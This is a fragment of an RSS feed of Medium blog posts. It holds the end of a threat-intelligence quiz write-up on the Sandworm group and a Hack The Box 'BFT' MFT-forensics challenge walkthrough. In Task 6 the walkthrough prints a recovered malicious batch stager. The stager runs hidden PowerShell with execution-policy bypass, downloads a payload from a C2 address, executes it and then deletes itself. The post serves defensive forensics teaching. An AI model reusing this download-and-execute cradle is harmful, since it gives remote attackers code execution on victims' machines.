href="https://www.justice.gov/opa/press-release/file/1328521/download">[4]</a></blockquote><p><strong>Answer: </strong><strong>NotPetya</strong></p><h3>Task 11</h3><p><strong><em>What was the Microsoft security bulletin ID for the vulnerability that the malware from question 10 used to spread around the world?</em></strong></p><p>I used the description on <a href="https://attack.mitre.org/software/S0368/">NotPetya’s page</a> as my starting point. It says that the malware used the SMBv1 exploits EternalBlue and EternalRomance. To find the security bulletin ID, I Google’d “eternalblue microsoft bulletin”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*K6Y7DDzC7y6sFT6pe28hqQ.png" /></figure><p><strong>Answer: </strong><strong>MS17-010</strong></p><h3>Task 12</h3><p><strong><em>What is the name of the malware/tool used by the group to target modems?</em></strong></p><p>I retured to the <a href="https://attack.mitre.org/groups/G0034/">Sandworm Team page</a> and searched for “modem”. The only match was in the References list: “AcidRain | A Modem Wiper Rains Down on Europe”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*5htkVHAmC1NNfhaAxHb9dA.png" /></figure><p>The article describes an attack in 2022 where Viasat KA-SAT modems in Ukraine were attacked.</p><p><strong>Answer: </strong><strong>AcidRain</strong></p><h3>Task 13</h3><p><strong><em>Threat Actors also use non-standard ports across their infrastructure for Operational-Security purposes. On which port did the Sandworm team reportedly establish their SSH server for listening?</em></strong></p><p>I searched for “SSH” on the Sandworm Team page and combed through the results, looking for a mention of a port number. There was only one match mentioning a port number:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TENvzIS_GGcJeJsZ2xi4JA.png" /></figure><p><strong>Answer: </strong><strong>6789</strong></p><h3>Task 14</h3><p><strong><em>The Sandworm Team has been assisted by another APT group on various operations. Which specific group is known to have collaborated with them?</em></strong></p><p>To answer this, I scrolled up to the description of the Sandworm Team. The final paragraph mentions that some of the operations were conducted with assistance from GRU Unit 26165, also referred to as APT28.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*WnxGAa-OWpJ0CMC3Tyjykw.png" /></figure><p><strong>Answer: </strong><strong>APT28</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=09b458d538a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Sherlocks BFT Write-up: MFT Forensics]]></title>
            <link>https://medium.com/@coldbyte.main/htb-sherlocks-bft-write-up-mft-forensics-02c5fd993451?source=rss-e604ced5b7a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/02c5fd993451</guid>
            <category><![CDATA[ntfs]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[ColdByte]]></dc:creator>
            <pubDate>Mon, 05 Oct 2026 12:39:37 GMT</pubDate>
            <atom:updated>2026-10-05T12:39:37.176Z</atom:updated>
            <content:encoded><![CDATA[<p>This write-up outlines the approach I used to solve the Hack The Box Sherlock challenge <strong><em>BFT</em></strong>. The goal was to analyze MFT artifacts to identify malicious activity.</p><h3>Task description</h3><p>In this Sherlock, you will become acquainted with MFT (Master File Table) forensics. You will be introduced to well-known tools and methodologies for analyzing MFT artifacts to identify malicious activity. During our analysis, you will utilize the MFTECmd tool to parse the provided MFT file, TimeLine Explorer to open and analyze the results from the parsed MFT, and a Hex editor to recover file contents from the MFT.</p><h3>Getting started</h3><p>Let’s start by getting a basic overview of the MFT. The MFT, or <strong>Master File Table</strong>, contains at least one entry for every file on an NTFS (New Technology File System) volume. Information about a file, including its size, timestamps, permissions and contents, is stored either in MFT entries or elsewhere on the disk, with the MFT entries describing where it is stored.</p><p>Note that this Sherlock is more challenging to solve on Linux. For MFTECmd you can follow <a href="https://www.sans.org/blog/running-ez-tools-natively-on-linux-a-step-by-step-guide">this guide by SANS</a>. Timeline Explorer worked through Wine for me, but not perfectly.</p><p>I started by downloading the ZIP archive and extracting it with 7z. This gave me the $MFT file. I then ran the following command and opened the resulting CSV file in Timeline Explorer:</p><pre>$ mftecmd -f \$MFT --csv . --csvf MFT_ANALYSIS.csv</pre><h3>Task 1</h3><p><strong><em>Simon Stark was targeted by attackers on February 13. He downloaded a ZIP file from a link received in an email. What was the name of the ZIP file he downloaded from the link?</em></strong></p><p>I started by sorting the Created0x10 column to show the oldest results first. There were one file with a Created0x10 timestamp of 1980–01–01 08:00:00, which caught my attention. In the Created0x30 column I could see the timestamp 2024–02–13 16:35:15 for the same file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xNm8JbMkGtiy2wOl7m985w.png" /></figure><p>Looking at the File Name column, I saw the filename invoice.zip. However, the Parent Path shows that this file belongs to a subfolder within the Downloads folder. In other words, Stage-20240213T093324Z-001.zip was likely the arcive originally downloaded.</p><p>Let’s therefore search for Stage-20240213T093324Z-001, which gives us 13 results. If we now sort Created0x10 from oldest to newest, we can see an entry for Stage-20240213T093324Z-001.zip with timestamps on February 13, 2024 16:34:00.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6V4ZYHeBfKNx029CRCqL2g.png" /></figure><p><strong>Answer: </strong><strong>Stage-20240213T093324Z-001.zip</strong></p><h3>Task 2</h3><p><strong><em>Examine the Zone Identifier contents for the initially downloaded ZIP file. This field reveals the HostUrl from where the file was downloaded, serving as a valuable Indicator of Compromise (IOC) in our investigation/analysis. What is the full Host URL from where this ZIP file was downloaded?</em></strong></p><p>Keep the same sorting and search term, and scroll horizontally along the row for Stage-20240213T093324Z-001.zip:Zone.Identifier until you reach the Zone Id Contents column.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YMETNAejZTBYBe-rXItldQ.png" /></figure><p>Here we can see that HostUrl is set to the following URL, which is where the file was downloaded from.</p><p><strong>Answer: </strong><a href="https://storage.googleapis.com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser"><strong>https://storage.googleapis.com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser</strong></a></p><h3>Task 3</h3><p><strong><em>What is the full path and name of the malicious file that executed malicious code and connected to a C2 server?</em></strong></p><p>We can keep the search string for Stage-20240213T093324Z-001 from earlier so that we can see all relevant files. Among the files, invoice.bat is of interest. A .bat file, or batch file, is a text file containing a sequence of commands executed by cmd.exe, and attackers can abuse these files to run malicious commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LrVwNmQNXoCICq0teSyXLQ.png" /></figure><p>Of course, the extension itself does not confirm anything. However, we will examine the contents of the file in Task 6.</p><p><strong>Answer: </strong><strong>C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices\invoice.bat</strong></p><h3>Task 4</h3><p><strong><em>Analyze the $Created0x30 timestamp for the previously identified file. When was this file created on disk?</em></strong></p><p>The Created0x30 column shows 2024–02–13 16:38:39, which answers the question. However, Created0x10 shows 2024–02–13 17:23:16. So what is the difference?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*68KAUzN_2dxRVUoFbWjSSw.png" /></figure><p>This is how I understand it: NTFS stores timestamps in two attributes, <em>$STANDARD_INFORMATION (0x10)</em> and <em>$FILE_NAME (0x30)</em>. Of these, 0x10 is more easily manipulated than 0x30. In other words, a difference between 0x10 and 0x30 is something to investigate as it can indicate timestomping.</p><p><strong>Answer: </strong><strong>2024-02-13 16:38:39</strong></p><h3>Task 5</h3><p><strong><em>Finding the hex offset of an MFT record is beneficial in many investigative scenarios. Find the hex offset of the stager file from Question 3.</em></strong></p><p>Our answer to Task 3 was invoice.bat, so we need to find the hexadecimal offset for this file’s MFT record.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mhAAdRca1C4DYJj3z3E7tw.png" /></figure><p>We can calculate this using the Entry Number column. The entry number for our file is 23436. We then multiply this by 1024, which is the size of each MFT record in bytes:</p><pre>23436 × 1024 = 23,998,464</pre><p>Next, we convert this number from decimal to hexadecimal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*5pfbLRzC4QfZryTsSdQB9A.png" /></figure><p><strong>Answer: </strong><strong>16E3000</strong></p><h3>Task 6</h3><p><strong><em>Each MFT record is 1024 bytes in size. If a file on disk has smaller size than 1024 bytes, they can be stored directly on MFT File itself. These are called MFT Resident files. During Windows File system Investigation, its crucial to look for any malicious/suspicious files that may be resident in MFT. This way we can find contents of malicious files/scripts. Find the contents of The malicious stager identified in Question3 and answer with the C2 IP and port.</em></strong></p><p>For this, I used <strong>GHex</strong>. First, I opened the $MFT file in GHex and pressed CTRL + J. I entered 0x16E3000 to jump to the offset of the file record.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*ZJ-ZGDOdGffYvsLVZamyFQ.png" /></figure><p>Scrolling down a little, we can see the text contents of invoice.bat:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*1-RWBre3XWnCiRUoA6RR2A.png" /></figure><p>I also extracted the MFT record with the following command:</p><pre>dd if=\$MFT bs=1024 skip=23436 count=1 of=invoice.bin</pre><p>The code was:</p><pre>@echo off<br>start /b powershell.exe -nol -w 1 -nop -ep bypass &quot;(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(&#39;http://43.204.110.203:6666/download/powershell/Om1hdHRpZmVzdGF<br>W9uIGV0dw==&#39;) -UseBasicParsing|iex&quot;<br>(goto) 2&gt;nul &amp; del &quot;%~f0&quot;</pre><p>Here we clearly see the C2 server’s IP address (43.204.110.203) and port number (6666).</p><p><strong>Answer: </strong><strong>43.204.110.203.6666</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=02c5fd993451" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>